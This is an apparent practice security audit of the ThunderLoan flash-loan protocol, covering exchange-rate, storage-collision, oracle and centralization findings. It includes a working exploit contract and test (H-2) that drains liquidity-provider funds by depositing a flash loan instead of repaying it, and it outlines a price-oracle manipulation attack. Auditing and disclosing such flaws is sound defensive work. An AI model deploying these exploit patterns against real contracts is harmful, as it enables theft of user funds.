ThunderLoan Protocol Audit Report

Version 1.0

saikumar279.github.io/saikumar279

August 24, 2024

Protocol Audit Report

Saikumar

August 8, 2024

Prepared by: Saikumar Lead Auditors: - Saikumar

Table of Contents

Protocol Summary

The ⊠ThunderLoan⊠ protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Saikumar team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:

  - USDC
  - DAI
  - LINK
  - WETH ## Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
-

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	1
Gas	3
Total	12

Findings

High

[H-1] Miscalculated `ThunderLoan::updateExchangeRate` in `ThunderLoan::deposit` function leads to lock of funds and no one can redeem

Description: In the `ThunderLoan::deposit` function, when a liquidity provider deposits funds, the exchange rate is updated. However, since there are no additional fees in the protocol that could be distributed among the liquidity providers, an issue arises when users attempt to redeem their funds. The redemption process fails because the updated exchange rate causes the protocol to try to redeem more than the actual deposited amount, including the added fees from the rate update. This issue can even prevent a user from withdrawing their funds immediately after depositing due to the change in the exchange rate.

```
        function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Impact: Below are following impacts:

1. The `ThunderLoan::deposit` function becomes blocked because it attempts to transfer more tokens than what should be transferred to the liquidity provider.
2. This results in an inaccurate calculation of the exchange rate, leading to the transfer of either more or fewer rewards to liquidity provider.

Proof of Concept:

1. LP deposits the funds.
2. LP unable to redeem due to the update of exchange rates.

Poc

```
        function testRedeemWorks() public setAllowedToken hasDeposits {
        vm.startPrank(liquidityProvider);
        uint256 max_amount = type(uint256).max;
        thunderLoan.redeem(tokenA, max_amount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the incorrectly updates of exchangerate taking place in `ThunderLoan::deposit` function.

```
        function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: In this scenario, when users create flashloans, they can bypass the intended repayment by calling `ThunderLoan::deposit` instead of `ThunderLoan::repay`. By doing this, they repay the borrowed amount by depositing it as a liquidity provider, allowing them to withdraw the funds later. The vulnerability arises in the `ThunderLoan::flashloan` function, where the contract only checks the total balance of tokens after the user transfers the borrowed amount back. Therefore, even if the user deposits the borrowed amount as liquidity instead of directly repaying, the condition below still holds true:

```
    uint256 endingBalance = token.balanceOf(address(assetToken));
     if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
        }
```

Impact: This vulnerability allows an attacker to drain all liquidity provider (LP) funds. An attacker can create a flashloan, borrow the funds, and then call `ThunderLoan::deposit` instead of repaying the loan. This action mints asset tokens for the attacker as if they had legitimately deposited funds. The attacker can then use these minted asset tokens to redeem the entire amount, effectively stealing all the LP's funds.

Proof of Concept:

Include the Below Test Case and malicious User's contract in the `ThunderLoanTest`.

1. User Creates the flash loan for 50e18;
2. Than uses the same loan amount to deposit it back.
3. Than he redeems the whole amount which he deposited.

Poc

```

```

```
        function testDepositInsteadOfPay() public setAllowedToken
            hasDeposits {
        DepositOverRepay malicious_steal = new DepositOverRepay(
            address(thunderLoan)
        );
        console.log(
            tokenA.balanceOf(address(thunderLoan.getAssetFromToken(
                tokenA)))
        );

        uint256 fee = thunderLoan.getCalculatedFee(tokenA, 50e18);
        console.log(fee);
        uint256 fees = 0.15e18;
        tokenA.mint(address(malicious_steal), fees); // to cover the
            fees for flashloan
        console.log(tokenA.balanceOf(address(malicious_steal)));

        thunderLoan.flashloan(address(malicious_steal), tokenA, 50e18,
            "");

        malicious_steal.redeemMoney();
        console.log(
            tokenA.balanceOf(address(thunderLoan.getAssetFromToken(
                tokenA)))
        );
        console.log(tokenA.balanceOf(address(malicious_steal)));
        assert(tokenA.balanceOf(address(malicious_steal)) > 50e18 + fee
            );
    }
```

```
    contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    IERC20 s_token;
    AssetToken assetToken;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /* initiator */,
        bytes calldata /* params */
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(s_token);
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: You can prevent the deposits if there is a flashloan being created and worked on.

```
        function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {

+       if (s_currentlyFlashLoaning[token]) {
+           revert();
+       }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

```

```
223:     function setAllowedToken(IERC20 token, bool allowed) external
    onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal
     override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks leading the users to get the flashloans at very cheaper fees

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity leading liquidity providers to not use your protocol.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
   1. User sells 1000 `tokenA`, tanking the price.
   2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
      1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

   ```
   function getPriceInWeth(address token) public view returns (
       uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).
        getPool(token);
   @>       return ITSwapPool(swapPoolOfToken).
      getPriceOfOnePoolTokenInWeth();
   }
   ```

   3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements   | % Branches    | % Funcs        |
| --------------------------------- | -------------- | -------------- | ------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13) | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)  | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.43% (10/14) |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[G-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

[G-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[G-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```